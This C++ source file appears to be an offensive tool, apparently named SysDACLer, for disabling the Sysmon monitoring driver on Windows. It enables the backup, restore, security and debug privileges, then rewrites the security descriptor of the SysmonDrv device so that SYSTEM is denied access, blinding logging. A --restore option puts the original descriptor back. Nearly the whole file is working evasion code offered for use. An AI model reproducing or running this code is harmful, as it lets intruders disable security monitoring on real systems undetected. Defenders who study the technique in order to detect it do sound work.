Заголовочный:
#include <Windows.h>
#include <algorithm>
#include <iostream>
#include <sddl.h>
#include <aclapi.h>
#include <NTSecAPI.h>
#include <TlHelp32.h>
#include "SysDACLer.hpp"
// CONSTANTS
CONST LPCWSTR devicePath = L"\\\\.\\SysmonDrv";
CONST LPCWSTR sddlOrig = L"D:(A;;0x1201bf;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;RC)";
CONST LPCWSTR sddlModified = L"D:(D;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;RC)";
/// FUNCS
VOID Banner()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, 0x0C);
std::wcout << R"(
_____ ______ ___ _____ _
/ ___| | _ \/ _ \/ __ \| |
\ `--. _ _ ___| | | / /_\ \ / \/| | ___ _ __
`--. \ | | / __| | | | _ | | | | / _ \ '__|
/\__/ / |_| \__ \ |/ /| | | | \__/\| |___| __/ |
\____/ \__, |___/___/ \_| |_/\____/\_____/\___|_|
__/ |
|___/
)" << std::endl;
SetConsoleTextAttribute(hConsole, 0x07);
std::wcout << L"\n\t\t\t https://github.com/MzHmO" << std::endl;
}
VOID ShowHelp()
{
std::wcout << L"Usage: " << std::endl;
}
void PrintDACLInfo(PACL pDacl) {
if (pDacl == NULL) {
std::wcout << L"No DACL available." << std::endl;
return;
}
LPVOID pAce;
ACE_HEADER* aceHeader;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
for (DWORD i = 0; i < pDacl->AceCount; i++) {
if (GetAce(pDacl, i, &pAce)) {
aceHeader = (ACE_HEADER*)pAce;
PSID pSid = NULL;
if (aceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) {
pSid = (PSID) & ((ACCESS_ALLOWED_ACE*)pAce)->SidStart;
}
else if (aceHeader->AceType == ACCESS_DENIED_ACE_TYPE) {
pSid = (PSID) & ((ACCESS_DENIED_ACE*)pAce)->SidStart;
}
if (pSid != NULL) {
LPTSTR StringSid;
ConvertSidToStringSid(pSid, &StringSid);
TCHAR AccountName[256], DomainName[256];
DWORD cchAccountName = _countof(AccountName), cchDomainName = _countof(DomainName);
SID_NAME_USE eUse;
if (LookupAccountSid(NULL, pSid, AccountName, &cchAccountName, DomainName, &cchDomainName, &eUse)) {
std::wcout << L"\t[?]ACE " << i << L": ";
if (aceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE) {
std::wcout << L"\t\tAccess Allowed for ";
}
else if (aceHeader->AceType == ACCESS_DENIED_ACE_TYPE) {
SetConsoleTextAttribute(hConsole, 0x0C);
std::wcout << L"\t\tAccess Denied for ";
SetConsoleTextAttribute(hConsole, 0x07);
}
std::wcout << DomainName << L"\\" << AccountName << std::endl;
}
else {
std::wcout << L"\t[?] SID: " << StringSid << L" - Unable to lookup account name." << std::endl;
}
LocalFree(StringSid);
}
}
}
}
bool EnablePrivilege(PCWSTR privName, bool enable) {
HANDLE hToken;
if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
std::wcout << L"[-] OpenProcessToken Failed: " << GetLastError() << std::endl;
return false;
}
bool result = false;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
if (::LookupPrivilegeValue(nullptr, privName, &tp.Privileges[0].Luid)) {
if (::AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr)) {
result = ::GetLastError() == ERROR_SUCCESS;
if (!result) {
std::wcout << L"[-] AdjustTokenPrivileges Failed: " << GetLastError() << std::endl;
}
}
}
::CloseHandle(hToken);
return result;
}
VOID GetDeviceSecurity(HANDLE hDevice) {
PSECURITY_DESCRIPTOR pSDGetSecInfo = NULL;
PACL pDaclGetSecInfo = NULL, pSaclGetSecInfo = NULL;
PSID pOwner = NULL, pGroup = NULL;
DWORD dwRes = GetSecurityInfo(
hDevice,
SE_KERNEL_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION,
&pOwner,
&pGroup,
&pDaclGetSecInfo,
&pSaclGetSecInfo,
&pSDGetSecInfo
);
if (ERROR_SUCCESS != dwRes) {
std::wcout << L"[-] GetSecurityInfo Error: " << dwRes << std::endl;
return;
}
std::wcout << L"\t[?]Sysmon Current DACL Information: " << std::endl;
PrintDACLInfo(pDaclGetSecInfo);
LocalFree(pSDGetSecInfo);
}
bool matchesMask(const std::string& processName, const std::string& maskPrefix, const std::string& extension) {
return processName.rfind(maskPrefix, 0) == 0 && processName.find(extension) != std::string::npos;
}
DWORD GetSysmonPID()
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "[-] Failed to create snapshot." << std::endl;
return -1;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
std::cerr << "[-] Failed to get first process." << std::endl;
CloseHandle(hSnapshot);
return -1;
}
do {
std::wstring ws(pe.szExeFile);
std::string processName(ws.begin(), ws.end());
if (matchesMask(processName, "Sysmon", ".exe")) {
std::cout << "[+] Found: " << processName << " with PID = " << pe.th32ProcessID << std::endl;
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
return -1;
}
DWORD SetSDDL(LPCWSTR device, LPCWSTR sddl)
{
PSECURITY_DESCRIPTOR pSDConvertedSDDL = NULL;
HANDLE hDevice = NULL;
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl,
SDDL_REVISION_1,
&pSDConvertedSDDL,
NULL))
{
std::wcout << L"[-] Error in Converting SDDL to binary format: " << GetLastError() << std::endl;
return -1;
}
if (!EnablePrivilege(SE_BACKUP_NAME, TRUE))
{
std::wcout << L"[-] Failed to add SeBackupPrivilege" << std::endl;
return -1;
}
std::wcout << L"[+] Adding SeBackupPrivilege success" << std::endl;
if (!EnablePrivilege(SE_RESTORE_NAME, TRUE))
{
std::wcout << L"[-] Failed to add SeRestorePrivilege" << std::endl;
return -1;
}
std::wcout << L"[+] Adding SeRestorePrivilege success" << std::endl;
if (!EnablePrivilege(SE_SECURITY_NAME, TRUE))
{
std::wcout << L"[-] Failed to add SeSecurityPrivilege" << std::endl;
return -1;
}
std::wcout << L"[+] Adding SeSecurityPrivilege success" << std::endl;
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE))
{
std::wcout << L"[-] Failed to add SeDebugPrivilege" << std::endl;
return -1;
}
std::wcout << L"[+] Adding SeDebugPrivilege success" << std::endl;
hDevice = CreateFile(device, READ_CONTROL | ACCESS_SYSTEM_SECURITY | WRITE_DAC,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::wcout << L"[-] Failed to open handle on sysmondrv: " << GetLastError() << std::endl;
return -1;
}
std::wcout << L"[+] SysmonDrv Handle Received" << std::endl;
GetDeviceSecurity(hDevice);
PACL pDacl = NULL;
BOOL daclPresent = TRUE, daclDefaulted = FALSE;
if (!GetSecurityDescriptorDacl(pSDConvertedSDDL, &daclPresent, &pDacl, &daclDefaulted))
{
std::wcout << L"[-] GetSecurityDescriptorDacl() Failed: " << GetLastError() << std::endl;
return -1;
}
std::wcout << L"[+] Getting PACL Success" << std::endl;
DWORD result = SetSecurityInfo(
hDevice,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
pDacl,
NULL
);
if (result != ERROR_SUCCESS)
{
std::wcout << L"[-] SetSecurityInfo() failed" << result << std::endl;
return -1;
}
std::wcout << L"[+] DACL Changed!" << std::endl;
CloseHandle(hDevice);
hDevice = CreateFile(device, READ_CONTROL | ACCESS_SYSTEM_SECURITY,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
std::wcout << L"[-] Failed to open handle on new sysmondrv: " << GetLastError() << std::endl;
return -1;
}
GetDeviceSecurity(hDevice);
CloseHandle(hDevice);
return 0;
}
wchar_t* getCmdOption(wchar_t** begin, wchar_t** end, const std::wstring& option)
{
wchar_t** itr = std::find(begin, end, option);
if (itr != end && ++itr != end)
{
return *itr;
}
return nullptr;
}
bool cmdOptionExists(wchar_t** begin, wchar_t** end, const std::wstring& option)
{
return std::find(begin, end, option) != end;
}
int wmain(int argc, wchar_t* argv[])
{
Banner();
setlocale(LC_ALL, "");
if (cmdOptionExists(argv, argv + argc, L"-h"))
{
ShowHelp();
return 0;
}
BOOL restore = cmdOptionExists(argv, argv + argc, L"--restore");
CONST LPCWSTR sddl = restore ? sddlOrig : sddlModified;
CONST LPCWSTR successMessage = restore ? L"[+] Restoring original Sysmon SDDL Success" : L"[+] SDDL Changed!";
CONST LPCWSTR failureMessage = L"[-] Failed to set SDDL";
if (SetSDDL(devicePath, sddl) != 0)
{
std::wcout << failureMessage << std::endl;
}
else
{
std::wcout << successMessage << std::endl;
}
return 0;
}